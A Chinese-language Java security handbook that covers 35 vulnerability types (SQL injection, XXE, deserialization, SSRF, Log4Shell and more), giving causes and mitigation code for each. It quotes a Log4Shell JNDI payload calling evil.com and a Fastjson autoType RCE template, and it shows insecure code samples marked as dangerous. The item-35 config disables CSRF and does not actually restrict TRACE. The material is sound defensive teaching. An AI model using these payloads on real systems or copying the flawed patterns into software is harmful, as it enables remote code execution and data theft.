Java开发安全检查手册,文档涵盖了35种常见安全漏洞,每种都包含"为什么出现"(根因)和"解决方案"(代码示例)

安全漏洞快速索引表

编号 漏洞类型 根本原因 核心解决方案
1 SQL注入 字符串拼接 PreparedStatement
2 命令注入 Runtime.exec拼接 参数数组
3 XXE XML解析器未安全配置 禁用外部实体
4 表达式注入 用户输入进表达式 SimpleEvaluationContext
5 LDAP注入 拼接Filter 使用Filter类
6 NoSQL注入 JSON直接解析 类型安全构建
7 XSS 未转义输出 编码 + CSP
8 反序列化 ObjectInputStream 用JSON替代
9 Fastjson autoType开启 关闭或迁移
10 Jackson DefaultTyping 白名单
11 弱密码 简单密码+默认配置 BCrypt+策略
12 会话固定 登录后Session不变 重新生成Session
13 Cookie不安全 缺安全属性 HttpOnly+Secure
14 JWT漏洞 弱密钥+无过期 强密钥+过期+黑名单
15 水平越权 未校验数据归属 -ownerId条件
16 垂直越权 前端隐藏+后端无校验 @PreAuthorize
17 路径遍历 用户输入拼路径 规范化+前缀校验
18 文件上传 仅校验扩展名 魔数+重命名
19 SSRF 未限制目标URL 白名单+禁内网
20 Actuator泄露 未关闭端点 只暴露health/info
21 异常泄露 未封装错误 全局异常处理
22 日志泄露 打印敏感信息 脱敏工具
23 CORS错误 allowedOrigins(“*”) 严格白名单
24 弱加密 使用MD5/DES AES-GCM/RSA-OAEP
25 硬编码密钥 代码中写密钥 环境变量/KMS
26 不安全随机 用Random SecureRandom
27 验证码漏洞 可重复使用 一次性+Redis
28 短信轰炸 无频率限制 Redis限流
29 竞态条件 先查后改 乐观锁/原子操作
30 重放攻击 无幂等设计 Token+时间戳
31 业务绕过 信任前端参数 后端获取参数
32 CVE依赖 版本长期不更新 定期扫描更新
33 Log4Shell JNDI Lookup 升级/禁用
34 开放重定向 未校验跳转URL 白名单
35 HTTP方法 未禁用TRACE 限制方法

一、注入类漏洞

1. SQL 注入

为什么出现:

  • 字符串拼接 SQL:"SELECT * FROM users WHERE id = " + userInput
  • 使用 Statement 而非 PreparedStatement
  • ORM 框架中使用原生 SQL 拼接
  • 开发者不了解用户输入可被恶意构造
  • 开发进度紧张时"临时"用拼接方式
  • 遗留老代码未重构

解决方案:

// ① 预编译(最推荐)
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE name = ? AND age = ?");
ps.setString(1, name);
ps.setInt(2, age);

// ② MyBatis —— 用 #{} 不要用 ${}
// 安全
<select id="findUser" resultType="User">
    SELECT * FROM users WHERE name = #{name}
</select>

// 危险
<select id="findUser" resultType="User">
    SELECT * FROM users WHERE name = '${name}'
</select>

// ③ JPA/Hibernate —— 使用参数绑定
@Query("SELECT u FROM User u WHERE u.name = :name")
List<User> findByName(@Param("name") String name);

// ④ 输入校验:白名单限制输入格式
if (!input.matches("[a-zA-Z0-9_]+")) {
    throw new IllegalArgumentException("非法输入");
}

// ⑤ Web应用防火墙(WAF)
// ⑥ 静态代码分析:SonarQube + FindBugs
// ⑦ 最小权限原则:数据库账号仅授予必要权限

2. 命令注入(OS Command Injection)

为什么出现:

  • Runtime.exec() 拼接用户输入执行系统命令
  • 开发者认为"只是拼个 ping 命令",没意识到 shell 元字符
  • 未考虑管道、重定向、后台执行等元字符危害

解决方案:

// ① 绝对不要拼接,使用参数数组
// 危险
Runtime.getRuntime().exec("ping " + userInput);

// 安全
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", validatedHost);
pb.start();

// ② 白名单校验
if (!host.matches("^\\d{1,3}(\\.\\d{1,3}){3}$")) {
    throw new IllegalArgumentException("非法IP格式");
}

// ③ 最佳实践:能不用系统命令就不用
// 用 Java 原生库替代(如网络用 InetAddress.isReachable())

3. XXE(XML 外部实体注入)

为什么出现:

  • XML 解析器默认允许加载外部实体
  • 开发者直接使用 DocumentBuilderFactory.newInstance() 不做安全配置
  • 接收用户上传的 XML 文件或 SOAP 请求
  • 不了解 DTD 和外部实体机制

解决方案:

// ① DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

// ② SAXParser
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// ③ JAXB
Unmarshaller unmarshaller = jc.createUnmarshaller();
unmarshaller.setSchema(schema); // 校验 XML 结构

// ④ Jackson XML
XmlMapper mapper = new XmlMapper();
mapper.disable(FromXmlParser.Feature.ALLOW_DTD_DOCTYPE_DECLARATION);

// ⑤ 最佳:用 JSON 替代 XML

4. 表达式注入(SpEL / OGNL)

为什么出现:

  • 框架动态求值功能强大,但用户输入被传入表达式引擎
  • Spring Security 的 @PreAuthorize 中 SpEL 可被外部控制
  • Struts2 OGNL 标签对用户输入过滤不足
  • 开发者不理解表达式求值的危险

解决方案:

// ① 永远不要让用户输入直接进入表达式
// 危险
parser.parseExpression(userInput);

// ② 使用 SimpleEvaluationContext 限制能力
EvaluationContext ctx = SimpleEvaluationContext
    .forReadOnlyDataBinding()
    .build();

// ③ 升级框架到已修复版本
// ④ Struts2:升级 + 配置安全拦截器

// ⑤ 使用安全的方式获取属性
// 危险:SpELParserConfiguration config = new SpELParserConfiguration(true, true);

5. LDAP 注入

为什么出现:

  • 直接拼接用户输入到 LDAP 查询 Filter
  • 未考虑 LDAP 元字符转义

解决方案:

// 使用 Spring LDAP 的 Filter 类自动转义
Filter filter = new AndFilter()
    .and(new EqualsFilter("uid", userInput))
    .and(new EqualsFilter("ou", department));

ldapTemplate.search(DistinguishedName.EMPTY_PATH,
    filter.encode(), new UserAttributesMapper());

// 白名单校验
if (!userInput.matches("^[a-zA-Z0-9_]{3,20}$")) {
    throw new IllegalArgumentException("非法输入");
}

6. NoSQL 注入

为什么出现:

  • 直接将用户输入作为 JSON/BSON 解析成查询条件
  • MongoDB 的 $gt$ne 等操作符被用户构造
  • 开发者不了解 NoSQL 查询语法

解决方案:

// ① 绝对不要用 JSON.parse(userInput) 作为查询条件
// 危险
BasicDBObject query = (BasicDBObject) JSON.parse(userInput);

// ② 使用类型安全的构建方式
BasicDBObject query = new BasicDBObject();
query.put("username", validatedUsername);
query.put("age", new BasicDBObject("$gte", 18));

// ③ Spring Data MongoDB
@Query("{ 'username' : ?0 }")
User findByUsername(String username);

// ④ 输入验证:禁止 $ 开头的操作符
if (userInput.contains("$")) {
    throw new IllegalArgumentException("非法字符");
}

二、跨站脚本(XSS)

7. 反射型 / 存储型 / DOM 型 XSS

为什么出现:

  • 后端直接将用户输入输出到 HTML 页面,未做编码
  • 前端使用 innerHTML 拼接用户内容
  • 富文本编辑器允许用户提交 HTML,未做白名单过滤
  • 开发者依赖框架"自动转义",但某些场景会绕过
  • HTTP 响应未设置 Content-Type

解决方案:

// ① 后端输出编码
import org.springframework.web.util.HtmlUtils;
String safe = HtmlUtils.htmlEscape(userInput);

// ② 使用 OWASP Java Encoder
import org.owasp.encoder.Encode;
String safeForHtml = Encode.forHtml(userInput);
String safeForJs = Encode.forJavaScript(userInput);
String safeForUrl = Encode.forUriComponent(userInput);

// ③ 设置 Content-Type
response.setContentType("application/json; charset=UTF-8");

// ④ CSP 头
response.setHeader("Content-Security-Policy",
    "default-src 'self'; script-src 'self'; object-src 'none'");

// ⑤ 前端防护
// 危险
el.innerHTML = userInput;
// 安全
el.textContent = userInput;

// ⑥ 富文本:使用 Jsoup 白名单过滤
String safe = Jsoup.clean(userHtml, Whitelist.basic());

// ⑦ HttpOnly Cookie 防止窃取 Session

三、反序列化漏洞(最危险)

8. Java 原生反序列化

为什么出现:

  • ObjectInputStream.readObject() 反序列化不可信数据
  • 历史设计缺陷:反序列化时自动调用 readObject()readResolve() 等方法
  • Apache Commons-Collections 等库提供了完整的利用链(Gadget Chain)
  • 用于 Session 存储、RPC 通信、缓存等场景
  • 开发者不了解序列化机制的危险性

解决方案:

// ① 根本方案:不要对不可信数据使用 Java 原生序列化
// 改用 JSON(Jackson/Gson)且关闭多态

// ② 如果必须用,实现 ObjectInputFilter(JDK 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.dto.*;!*"  // 只允许特定包
);
ois.setObjectInputFilter(filter);

// ③ RASP(运行时应用自我保护)
// - 字节码注入,拦截危险反序列化操作
// - 商业方案:奇安信RASP、开源OpenRASP

// ④ 移除危险依赖(Commons-Collections 3.x 等)
// ⑤ 黑名单机制(JDK 8u121+)

9. Fastjson 反序列化

为什么出现:

  • 开启了 autoType,允许 JSON 中指定任意 Java 类
  • 攻击者构造 { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://..." } 实现 RCE
  • 历史版本存在多个绕过姿势

解决方案:

// ① 升级到 Fastjson2(推荐)
// ② 关闭 autoType
ParserConfig.getGlobalInstance().setSafeMode(true);

// ③ 白名单
ParserConfig.getGlobalInstance().addAccept("com.myapp.dto.");

// ④ 最佳:迁移到 Jackson/Gson

// ⑤ 监控:开启 safeMode 日志告警

10. Jackson 多态反序列化

为什么出现:

  • 开启了 DefaultTypingJsonTypeInfo 配置不当
  • JSON 中可指定任意类进行反序列化

解决方案:

// ① 绝对不要开启全局 DefaultTyping
// 危险
mapper.enableDefaultTyping();

// ② 如需多态,使用白名单
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY)
@JsonSubTypes({
    @JsonSubTypes.Type(value = Dog.class, name = "dog"),
    @JsonSubTypes.Type(value = Cat.class, name = "cat")
})
public abstract class Animal {}

// ③ 启用白名单校验
mapper.activateDefaultTyping(
    BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("com.myapp.dto.")
        .build(),
    ObjectMapper.DefaultTyping.NON_FINAL
);

// ④ 迁移到 Gson(更安全,默认不支持多态)

四、认证与会话漏洞

11. 弱密码 / 默认凭据

为什么出现:

  • 管理员图方便使用简单密码
  • 中间件(Redis、Tomcat Manager、数据库)使用默认配置
  • 密码策略未强制执行
  • 开发阶段方便,上线忘记修改

解决方案:

// ① 密码策略强制
// - 最少8位,包含大小写+数字+特殊字符
// - 定期更换
// - 不得与用户名相似
// - 不得与最近5个密码相同

// ② 密码存储使用 BCrypt/Argon2
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);
String hashed = encoder.encode(password);

// ③ 生产环境强制修改所有默认密码
// ④ 使用密钥管理服务(Vault、AWS Secrets Manager)
// ⑤ 密码泄露监测服务(HaveIBeenPwned)

12. 会话固定攻击

为什么出现:

  • 登录前后 Session ID 不变
  • 攻击者先获取 Session ID → 诱导用户用该 ID 登录 → 劫持会话
  • 开发者不理解会话固定攻击原理

解决方案:

// 登录成功后必须重新生成 Session
@PostMapping("/login")
public String login(HttpServletRequest request, String username, String password) {
    // ... 认证逻辑 ...
    
    // 关键步骤:销毁旧 Session,创建新 Session
    HttpSession oldSession = request.getSession(false);
    if (oldSession != null) {
        oldSession.invalidate();
    }
    HttpSession newSession = request.getSession(true);
    // 可选:迁移重要属性
    newSession.setAttribute("user", authenticatedUser);
    
    return "redirect:/dashboard";
}

13. Cookie 安全配置缺失

为什么出现:

  • 不了解 Cookie 安全属性的作用
  • 开发环境没配,上线忘了加

解决方案:

# Spring Boot 配置
server:
  servlet:
    session:
      cookie:
        http-only: true
        secure: true          # 仅 HTTPS
        same-site: strict     # 防 CSRF
        path: /
// 手动设置
Cookie cookie = new Cookie("SESSION", sessionId);
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setPath("/");
cookie.setMaxAge(3600);
cookie.setAttribute("SameSite", "Strict");
response.addCookie(cookie);

14. JWT 相关漏洞

为什么出现:

  • 使用 alg: none 绕过签名
  • 弱密钥被爆破
  • payload 存敏感信息(JWT 默认不加密)
  • Token 无过期时间
  • Token 泄露后无法主动失效
  • 不了解 JWT 机制

解决方案:

// ① 强制使用 RS256 或 HS256,拒绝 none
// ② HS256 密钥至少 256 位随机字符串

// ③ JWT 最佳实践
String token = Jwts.builder()
    .setSubject(userId)
    .setIssuedAt(new Date())
    .setExpiration(new Date(System.currentTimeMillis() + 3600000)) // 1小时过期
    .setId(UUID.randomUUID().toString())  // JTI 防重放
    .signWith(secretKey, SignatureAlgorithm.HS256)
    .compact();

// ④ 敏感操作使用短期 Token + Refresh Token
// ⑤ 实现 Token 黑名单(Redis 存储已注销/已失效 Token)
// ⑥ 不要在 payload 放密码、身份证等敏感信息(可加密存储)

// ⑦ 验证时检查黑名单
public boolean isTokenBlacklisted(String token) {
    String jti = getJti(token);
    return Boolean.TRUE.equals(redisTemplate.hasKey("jwt:blacklist:" + jti));
}

五、授权与访问控制

15. 水平越权(IDOR)

为什么出现:

  • 只验证了"用户是否登录",没验证"用户是否有权访问该数据"
  • URL 中使用自增 ID,容易遍历
  • 接口设计时没考虑数据归属
  • 前端隐藏数据,后端未校验

解决方案:

// ① 始终校验数据归属
@GetMapping("/order/{id}")
public Order getOrder(@PathVariable Long id, @AuthenticationPrincipal UserDetails user) {
    Order order = orderService.findById(id);
    if (!order.getOwnerId().equals(user.getId())) {
        throw new AccessDeniedException("无权访问该订单");
    }
    return order;
}

// ② 数据库层面加 owner 条件
@Query("SELECT o FROM Order o WHERE o.id = :id AND o.ownerId = :ownerId")
Order findByIdAndOwner(@Param("id") Long id, @Param("ownerId") Long ownerId);

// ③ 使用 UUID 替代自增 ID(防遍历,但不能替代权限校验)
// ④ Spring Security 方法级权限
@PreAuthorize("#order.ownerId == authentication.principal.id")
public Order getOrder(Order order) { ... }

16. 垂直越权

为什么出现:

  • 前端做了菜单隐藏,但后端接口没有权限校验
  • 权限配置遗漏了某些接口
  • 角色权限模型设计不合理

解决方案:

// ① 后端强制校验角色
@PreAuthorize("hasRole('ADMIN')")
@PostMapping("/admin/users")
public void createUser(@RequestBody UserDTO dto) { ... }

// ② Spring Security 完整配置
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.authorizeHttpRequests(auth -> auth
            .requestMatchers("/public/**").permitAll()
            .requestMatchers("/admin/**").hasRole("ADMIN")
            .requestMatchers("/api/**").authenticated()
            .anyRequest().denyAll()  // 默认拒绝未匹配路径
        );
        return http.build();
    }
}

// ③ 使用 RBAC 模型:用户 → 角色 → 权限 → 资源
// ④ 定期权限审计

六、文件操作漏洞

17. 路径遍历(Path Traversal)

为什么出现:

  • 直接将用户输入的文件名拼接到路径中
  • ../ 未过滤

解决方案:

// ① 路径规范化 + 前缀校验
@GetMapping("/file")
public void getFile(@RequestParam String name, HttpServletResponse response) {
    File baseDir = new File("/uploads");
    File target = new File(baseDir, name).getCanonicalFile();
    
    // 关键:确保解析后的路径仍在允许的目录下
    if (!target.toPath().startsWith(baseDir.toPath())) {
        throw new SecurityException("非法路径");
    }
    
    // 读取文件...
}

// ② 文件名白名单
if (!name.matches("[a-zA-Z0-9._-]+")) {
    throw new IllegalArgumentException("非法文件名");
}

// ③ 禁止用户控制路径,使用固定目录

18. 文件上传漏洞

为什么出现:

  • 只校验扩展名,不校验文件内容
  • 上传目录具有执行权限
  • 文件名未重命名
  • 未限制文件大小

解决方案:

@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    // ① 文件大小限制
    if (file.getSize() > 10 * 1024 * 1024) {
        throw new IllegalArgumentException("文件过大");
    }
    
    // ② 扩展名白名单
    String originalName = file.getOriginalFilename();
    String ext = originalName.substring(originalName.lastIndexOf(".") + 1);
    Set<String> allowed = Set.of("jpg", "jpeg", "png", "pdf");
    if (!allowed.contains(ext.toLowerCase())) {
        throw new IllegalArgumentException("不支持的文件类型");
    }
    
    // ③ 文件头魔数校验(真正的类型检查)
    byte[] header = new byte[8];
    file.getInputStream().read(header);
    if (!isJpeg(header) && !isPng(header)) {
        throw new IllegalArgumentException("文件内容与扩展名不符");
    }
    
    // ④ 重命名文件(UUID)
    String safeName = UUID.randomUUID().toString() + "." + ext;
    
    // ⑤ 存储到非 Web 目录,或通过流式输出不落盘
    Path target = uploadDir.resolve(safeName);
    file.transferTo(target.toFile());
    
    return safeName;
}

// ⑥ 上传目录禁用脚本执行权限

七、SSRF(服务端请求伪造)

19. SSRF

为什么出现:

  • 用户传入 URL,服务端发起请求(头像URL、网页抓取、回调地址等)
  • 未限制目标地址范围
  • 云环境中可访问元数据服务 169.254.169.254
  • 开发者不理解内网攻击的危害

解决方案:

// ① 域名白名单
private static final Set<String> ALLOWED_HOSTS = Set.of(
    "api.example.com", "cdn.example.com"
);

// ② 完整防护
public String safeFetch(String urlString) throws Exception {
    URL url = new URL(urlString);
    
    // 只允许 HTTP/HTTPS
    if (!"http".equals(url.getProtocol()) && !"https".equals(url.getProtocol())) {
        throw new IllegalArgumentException("不支持的协议");
    }
    
    // 域名白名单
    if (!ALLOWED_HOSTS.contains(url.getHost())) {
        throw new IllegalArgumentException("目标域名不在白名单中");
    }
    
    // 解析 IP,禁止内网地址
    InetAddress addr = InetAddress.getByName(url.getHost());
    if (addr.isSiteLocalAddress() || addr.isLoopbackAddress() || addr.isLinkLocalAddress()) {
        throw new IllegalArgumentException("禁止访问内网地址");
    }
    
    // 禁止常见云元数据地址
    String ip = addr.getHostAddress();
    if (ip.equals("169.254.169.254")) {
        throw new IllegalArgumentException("禁止访问云元数据");
    }
    
    return restTemplate.getForObject(urlString, String.class);
}

// ③ 禁用 URL 协议:file, ftp, gopher
// ④ 禁用内网端口:22, 3306, 6379, 27017 等

八、配置与信息泄露

20. Spring Boot Actuator 未授权访问

为什么出现:

  • 开发阶段开启了所有端点,生产环境未关闭
  • /env 泄露数据库密码、云密钥
  • /heapdump 泄露内存中的敏感数据
  • /configprops 泄露系统配置

解决方案:

# ① 最小暴露原则
management:
  endpoints:
    web:
      exposure:
        include: health,info     # 只暴露必要的
        exclude: env,heapdump,configprops,mappings,threaddump,jolokia
  endpoint:
    health:
      show-details: when-authorized  # 详细信息仅授权可见

# ② 端点安全
spring:
  security:
    user:
      name: actuator-admin
      password: ${ACTUATOR_PASSWORD}   # 环境变量注入

# ③ 独立端口 + 内网访问
management:
  server:
    port: 9090                          # 独立端口
    address: 127.0.0.1                  # 仅本地访问

21. 异常信息泄露

为什么出现:

  • 开发阶段打印详细堆栈便于调试
  • 生产环境忘了关闭 debug 模式
  • 全局异常处理不完善
  • 错误信息包含 SQL 语句、文件路径、配置信息

解决方案:

// ① 全局异常处理
@RestControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(Exception.class)
    public ResponseEntity<ErrorResponse> handleException(Exception e, HttpServletRequest request) {
        // 记录完整日志(服务端)
        log.error("系统异常: URI={}", request.getRequestURI(), e);
        
        // 返回通用错误(客户端)
        ErrorResponse error = new ErrorResponse(
            "INTERNAL_ERROR",
            "系统繁忙,请稍后重试",     // 不暴露具体错误
            UUID.randomUUID().toString()  // 错误追踪码
        );
        return ResponseEntity.status(500).body(error);
    }
}

// ② 生产环境关闭 StackTrace
server:
  error:
    include-stacktrace: never
    include-message: never
    include-binding-errors: never

22. 日志敏感信息泄露

为什么出现:

  • 开发者随手 log.info("请求参数: " + JSON.toJSONString(request))
  • 密码、身份证、手机号等直接打印

解决方案:

// ① 敏感信息脱敏工具类
public class SensitiveUtil {
    public static String maskPhone(String phone) {
        if (phone == null || phone.length() != 11) return "***";
        return phone.replaceAll("(\\d{3})\\d{4}(\\d{4})", "$1****$2");
    }
    
    public static String maskIdCard(String idCard) {
        if (idCard == null || idCard.length() < 8) return "***";
        return idCard.substring(0, 4) + "**********" + idCard.substring(idCard.length() - 4);
    }
    
    public static String maskEmail(String email) {
        if (email == null || !email.contains("@")) return "***";
        String[] parts = email.split("@");
        return parts[0].substring(0, 2) + "***@" + parts[1];
    }
}

// ② 使用
log.info("用户登录, 手机号: {}", SensitiveUtil.maskPhone(phone));
// 绝对不要:log.info("密码: {}", password);

// ③ Logback 脱敏 Filter
// ④ 日志分级:DEBUG 级别也绝不记录敏感信息
// ⑤ 审计日志单独存储

23. CORS 配置错误

为什么出现:

  • 开发阶段 allowedOrigins("*") 方便联调
  • 上线时忘记收紧

解决方案:

@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
            .allowedOrigins("https://www.yourdomain.com")  // 严格白名单
            .allowedMethods("GET", "POST", "PUT", "DELETE")
            .allowedHeaders("Authorization", "Content-Type")
            .allowCredentials(true)    // 注意:与 allowedOrigins("*") 冲突
            .maxAge(3600);
    }
}

// 不允许 Credentials 时使用 allowedOriginPatterns("*")

九、加密与数据安全

24. 弱加密算法

为什么出现:

  • 沿用旧代码,不知道算法已不安全
  • 照抄网上过时的教程
  • 不了解加密算法安全边界

解决方案:

// ① 对称加密:AES-GCM(推荐)
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
GCMParameterSpec gcmSpec = new GCMParameterSpec(128, iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, gcmSpec);

// ② 非对称加密:RSA-OAEP
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");

// ③ 禁用列表
// DES, 3DES, RC4, MD5, SHA1(用于安全目的时)
// AES-ECB 模式
// 不使用 MD5 进行密码存储
// 不使用 SHA1 进行数字签名

// ④ 使用成熟的加密库:Bouncy Castle、Google Tink

25. 硬编码密钥/密码

为什么出现:

  • 开发方便直接写在代码里
  • 密钥管理意识不足
  • 配置文件直接提交到 Git

解决方案:

# ① 配置文件从环境变量读取
app:
  secret: ${APP_SECRET}
  db-password: ${DB_PASSWORD}

// ② 使用密钥管理服务
// - HashiCorp Vault
// - AWS Secrets Manager
// - 阿里云 KMS

// ③ Spring Cloud Config + 加密
// ④ .gitignore 排除配置文件
# .gitignore
application-local.yml
application-prod.yml
*.pem
*.key

// ⑤ Git 历史扫描工具:git-secrets、truffleHog

26. 不安全的随机数

为什么出现:

  • java.util.Random 是伪随机,种子可预测
  • 用于生成验证码、Token、Session ID 等安全场景
  • 不了解 Random 和 SecureRandom 的区别

解决方案:

// 安全场景必须用 SecureRandom
SecureRandom sr = new SecureRandom();

// 生成随机 Token
byte[] token = new byte[32];
sr.nextBytes(token);
String tokenStr = Base64.getUrlEncoder().withoutPadding().encodeToString(token);

// 生成验证码
int code = 100000 + sr.nextInt(900000); // 6位数字

// 生成盐值
byte[] salt = new byte[16];
sr.nextBytes(salt);

十、逻辑漏洞

27. 验证码漏洞

为什么出现:

  • 验证码存前端或返回前端
  • 验证码可重复使用(未消费即销毁)
  • 同一 Session 验证码不更新
  • 无频率限制

解决方案:

// ① 验证码服务端生成,存 Redis,设过期时间
String code = generateCode(); // SecureRandom
redisTemplate.opsForValue().set("captcha:" + sessionId, code, 5, TimeUnit.MINUTES);

// ② 验证后立即销毁(一次性)
String cached = redisTemplate.opsForValue().get("captcha:" + sessionId);
redisTemplate.delete("captcha:" + sessionId); // 先删后比对
if (!code.equals(cached)) {
    throw new IllegalArgumentException("验证码错误");
}

// ③ 增加图形干扰,防止 OCR
// ④ 同一 IP/手机号限制发送频率
// ⑤ 滑动验证码(推荐)

28. 短信/邮箱轰炸

为什么出现:

  • 发送接口无频率限制
  • 未增加图形验证码前置校验

解决方案:

// ① Redis 频率限制
String key = "sms:limit:" + phone;
Boolean sent = redisTemplate.opsForValue().setIfAbsent(key, "1", 60, TimeUnit.SECONDS);
if (Boolean.FALSE.equals(sent)) {
    throw new IllegalStateException("请60秒后再试");
}

// ② 多维度限制
// - 同一手机号:60秒1次,每天10次
// - 同一IP:每小时50次

// ③ 增加滑动图形验证码前置校验

// ④ 接入第三方风控(阿里云验证码、腾讯验证码)
// ⑤ 内容限制:模板化 + 频率限制

29. 竞态条件(Race Condition)

为什么出现:

  • 先查后改的操作在并发下不安全
  • 库存扣减、余额转账等场景
  • 开发者未考虑并发问题

解决方案:

// ① 数据库乐观锁
@Version
private Integer version;

// UPDATE SET stock = stock - 1, version = version + 1
// WHERE id = ? AND version = ?
@Transactional
public boolean deductStock(Long productId, int quantity) {
    int result = productRepository.decrementStock(productId, quantity);
    return result > 0;
}

@Modifying
@Query("UPDATE Product p SET p.stock = p.stock - :quantity, p.version = p.version + 1 " +
       "WHERE p.id = :id AND p.stock >= :quantity AND p.version = :version")
int decrementStock(@Param("id") Long id, @Param("quantity") int quantity, @Param("version") int version);

// ② 数据库悲观锁
@Transactional
public Product getProductForUpdate(Long id) {
    return productRepository.findById(id).orElseThrow();
}

@Lock(LockModeType.PESSIMISTIC_WRITE)
Optional<Product> findById(Long id);

// ③ Redis 分布式锁
boolean locked = redisTemplate.opsForValue()
    .setIfAbsent("lock:product:" + id, "1", 10, TimeUnit.SECONDS);
if (locked) {
    try {
        // 业务逻辑
    } finally {
        redisTemplate.delete("lock:product:" + id);
    }
}

// ④ 数据库原子操作(最推荐)
// UPDATE product SET stock = stock - 1 WHERE id = ? AND stock > 0

30. 重放攻击

为什么出现:

  • 接口无幂等性设计
  • 请求无唯一标识和时效性校验

解决方案:

// ① 幂等性 Token
// 前端获取 Token → 提交时带上 → 后端校验并消费 Token
@PostMapping("/pay")
public void pay(@RequestBody PayRequest req, @RequestParam String idempotentToken) {
    Boolean success = redisTemplate.opsForValue()
        .setIfAbsent("idempotent:" + idempotentToken, "1", 30, TimeUnit.MINUTES);
    if (Boolean.FALSE.equals(success)) {
        throw new IllegalStateException("请勿重复提交");
    }
    // 执行支付逻辑
}

// ② 时间戳 + 签名
// 请求必须在5分钟内,且签名验证通过

// ③ 数据库唯一约束防重复
// 对应唯一索引:biz_type + biz_idempotent_key

// ④ 前端防重复提交:按钮loading状态

31. 业务逻辑绕过

为什么出现:

  • 价格从前端传入
  • 业务流程校验只在前端
  • 未校验参数的合理性(负数、超大值)

解决方案:

// ① 关键业务参数从后端获取,不信任前端
// 危险:价格从请求参数传入
@PostMapping("/order")
public Order createOrder(@RequestBody OrderDTO dto) {
    // dto.getPrice() 可被篡改
}

// 安全:价格从数据库查
@PostMapping("/order")
public Order createOrder(@RequestBody OrderDTO dto) {
    Product product = productRepo.findById(dto.getProductId());
    BigDecimal price = product.getPrice(); // 后端决定价格
    // ...
}

// ② 参数合理性校验
if (quantity <= 0 || quantity > 9999) {
    throw new IllegalArgumentException("数量不合理");
}

// ③ 关键状态变更做业务校验
// 不允许直接从"待支付"改为"已完成",必须经过"已支付"

@Transactional
public void updateOrderStatus(Long orderId, OrderStatus newStatus) {
    Order order = findById(orderId);
    
    // 状态机校验
    Map<OrderStatus, Set<OrderStatus>> transitions = Map.of(
        OrderStatus.PENDING, Set.of(OrderStatus.PAID, OrderStatus.CANCELLED),
        OrderStatus.PAID, Set.of(OrderStatus.SHIPPED, OrderStatus.REFUNDED),
        OrderStatus.SHIPPED, Set.of(OrderStatus.COMPLETED)
    );
    
    if (!transitions.get(order.getStatus()).contains(newStatus)) {
        throw new IllegalStateException("非法状态转换");
    }
    
    order.setStatus(newStatus);
    save(order);
}

十一、依赖与框架漏洞

32. 已知漏洞依赖(CVE)

为什么出现:

  • 依赖版本长期不更新
  • 不了解依赖的安全公告
  • 传递依赖引入的漏洞

解决方案:

<!-- ① Maven 依赖检查插件 -->
<plugin>
    <groupId>org.owasp</groupId>
    <artifactId>dependency-check-maven</artifactId>
    <version>9.0.7</version>
    <executions>
        <execution>
            <goals><goal>check</goal></goals>
        </execution>
    </executions>
</plugin>
# ② CI/CD 集成
mvn dependency-check:check
snyk test
trivy fs .
// ③ 定期关注的安全公告源
// - NVD (nvd.nist.gov)
// - GitHub Security Advisories
// - 各框架官方安全公告(Spring、Apache)

// ④ 高危依赖黑名单
// Commons-Collections 3.x → 升级到 4.x
// Log4j 2.0-2.14.1 → 升级到 2.17+
// Fastjson 1.x → 迁移到 Fastjson2 或 Jackson
// Struts2 老版本 → 升级到最新

33. Log4Shell(CVE-2021-44228)

为什么出现:

  • Log4j2 默认启用 JNDI Lookup
  • 任何用户输入写入日志的地方都可能触发
  • ${jndi:ldap://evil.com/exploit}

解决方案:

// ① 升级 Log4j2 到 2.17.1+

// ② 如果无法升级,设置 JVM 参数
-Dlog4j2.formatMsgNoLookups=true

// ③ 移除 JndiLookup 类
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

// ④ WAF 规则拦截 ${jndi: 请求
// ⑤ 扫描所有日志配置,确认是否可能被攻击者控制

十二、其他重要漏洞

34. 开放重定向

为什么出现:

  • 登录后跳转 URL 从参数获取,未校验

解决方案:

// ① 白名单校验
@GetMapping("/redirect")
public String redirect(@RequestParam String url) {
    // 校验是否为相对路径或白名单域名
    if (url.startsWith("/") || ALLOWED_HOSTS.contains(URI.create(url).getHost())) {
        return "redirect:" + url;
    }
    return "redirect:/home";
}

// ② 使用相对路径代替绝对 URL
return "redirect:/dashboard";

35. 不安全的 HTTP 方法

为什么出现:

  • Tomcat/Jetty 默认开启 TRACE 方法
  • 未配置禁用

解决方案:

// ① Spring Security 配置禁用
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .csrf(csrf -> csrf.disable())
        .headers(headers -> headers
            .httpStrictTransportSecurity(hsts -> hsts.includeSubDomains(true))
            .frameOptions(frame -> frame.deny())
        );
    return http.build();
}

// ② 限制允许的 HTTP 方法
@RequestMapping(value = "/api", 
    method = {RequestMethod.GET, RequestMethod.POST, RequestMethod.PUT, RequestMethod.DELETE})

// ③ Tomcat 配置禁用 TRACE

